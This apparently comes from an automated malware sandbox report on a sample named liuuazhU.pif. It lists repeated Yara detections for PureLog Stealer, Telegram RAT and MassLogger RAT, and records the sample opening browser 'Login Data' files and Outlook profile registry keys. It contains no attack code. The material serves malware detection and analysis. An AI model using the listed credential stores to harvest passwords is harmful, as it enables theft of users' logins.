Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 1856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5956, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 1856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5956, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\liuuazhU.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\liuuazhU.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\liuuazhU.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110411476.000000001C8BD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3109531523.000000001D5BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 1856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5956, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 1856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5956, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c176826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e454590.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.liuuazhU.pif.28cff190.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
